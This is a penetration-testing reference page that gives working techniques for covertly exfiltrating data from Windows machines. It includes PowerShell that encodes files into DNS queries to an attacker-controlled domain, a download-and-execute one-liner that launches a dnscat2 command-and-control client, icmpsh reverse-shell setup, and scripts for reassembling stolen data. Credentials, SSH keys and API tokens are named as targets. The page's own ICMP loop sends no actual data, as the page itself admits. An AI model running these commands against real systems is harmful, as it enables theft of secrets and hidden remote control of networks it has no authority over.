# Windows DNS and Covert Channel Exfiltration

> Explores DNS-based covert channel techniques on Windows to exfiltrate data, bypassing network controls by encoding payloads within DNS query traffic.

- **URL:** https://hackindex.io/platforms/windows/data-exfiltration/windows-dns-and-covert-channel-exfiltration
- **Path:** Windows > Data Exfiltration
- **Up:** [Data Exfiltration](https://hackindex.io/platforms/windows/data-exfiltration.md)
- **Published:** 2026-04-04
- **Updated:** 2026-07-14

When HTTP, HTTPS, SMB, and FTP are all blocked or monitored, DNS is often the last viable channel. DNS queries are rarely blocked outbound and are infrequently inspected in depth. The technique encodes data into DNS query labels and exfiltrates it to a domain you control. Throughput is low, so limit payloads to high-value targets:

- Credential files and password databases
- SSH private keys and certificates
- API tokens and cloud access keys
- Small configuration files with connection strings

Anything larger than a few hundred kilobytes should use a different channel.

## DNS exfiltration: manual method

For small amounts of data such as credential files or key material, base64 encode the data and send it as DNS queries without any special tooling.

**DNS listener on attack box**

```bash
# Listen for DNS queries with tcpdump (passive: records all queries to your IP)
tcpdump -i eth0 udp port 53 -l | grep --line-buffered $DOMAIN

# Or use dnscat2 server
gem install dnscat2
ruby dnscat2.rb $DOMAIN

# Simple DNS server to log queries
python3 -c "
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('0.0.0.0', 53))
print('Listening...')
while True:
    data, addr = sock.recvfrom(512)
    print(f'Query from {addr}: {data[12:].split(b\"\\x00\")[0]}')
"
```

```powershell
# Base64 encode the file
$data = [Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\Windows\Temp\loot.zip'))

# Split into 60-char chunks (DNS label limit is 63 chars)
$chunks = $data -split '(.{60})' | Where-Object {$_}

# Send each chunk as a DNS query
$i = 0
foreach ($chunk in $chunks) {
    $query = "$i.$chunk.$DOMAIN"
    Resolve-DnsName $query -ErrorAction SilentlyContinue
    $i++
    Start-Sleep -Milliseconds 200
}
```

**Reconstruct data from DNS query log**

```bash
# Extract base64 chunks from tcpdump log, sort by index, decode
# Assumes queries are in format: INDEX.B64CHUNK.domain.com
grep $DOMAIN capture.txt | grep -oP '[0-9]+\.[A-Za-z0-9+/=]+' | sort -t. -k1 -n | cut -d. -f2 | tr -d '\n' | base64 -d > loot.zip
```

## dnscat2: tunneled C2 over DNS

dnscat2 establishes a full command-and-control channel over DNS. It requires a domain you control with NS records pointing to your attack box. Once connected it provides an interactive shell and file transfer capability entirely over DNS.

**dnscat2 server setup**

```bash
# Start server (requires NS record for $DOMAIN pointing to your IP)
gem install dnscat2
ruby dnscat2.rb $DOMAIN

# With pre-shared secret to prevent hijacking
ruby dnscat2.rb --secret $PASSWORD $DOMAIN
```

**dnscat2 client on Windows target**

```powershell
# PowerShell dnscat2 client (no binary needed)
IEX (New-Object Net.WebClient).DownloadString('http://$LHOST:8080/dnscat2.ps1')
Start-Dnscat2 -Domain $DOMAIN -PreSharedSecret $PASSWORD

# Or compiled binary
C:\Windows\Temp\dnscat2.exe $DOMAIN --secret $PASSWORD
```

## ICMP exfiltration

ICMP is another protocol that is commonly allowed outbound and rarely inspected. Data is encoded into the payload field of ping packets. Throughput is very low but it works when all TCP and UDP channels are blocked.

**ICMP listener on attack box**

```bash
# Capture ICMP data with tcpdump
tcpdump -i eth0 icmp -l -X | grep -A2 'ICMP echo request'

# icmpsh server (receives reverse shell over ICMP)
git clone https://github.com/bdamele/icmpsh
cd icmpsh
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python3 icmpsh_m.py $LHOST $TARGET_IP
```

```powershell
# Send file data via ICMP ping payload
$data = [Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\Windows\Temp\secret.txt'))
$chunks = $data -split '(.{32})' | Where-Object {$_}
foreach ($chunk in $chunks) {
    ping $LHOST -n 1 -l 32 | Out-Null
    # Note: native ping does not support custom payloads
    # Use a dedicated tool like icmpsh for actual payload embedding
    Start-Sleep -Milliseconds 100
}
```

Native Windows ping does not support custom ICMP payloads: use icmpsh or a purpose-built binary for actual ICMP data exfiltration. DNS exfiltration is more practical in most engagements because it requires no special binary on the target and works through most corporate firewalls and proxies.

## References

- [dnscat2: GitHub](https://github.com/iagox86/dnscat2) - DNS-based C2 and exfiltration: server and client source
- [icmpsh: GitHub](https://github.com/bdamele/icmpsh) - ICMP reverse shell and exfiltration tool
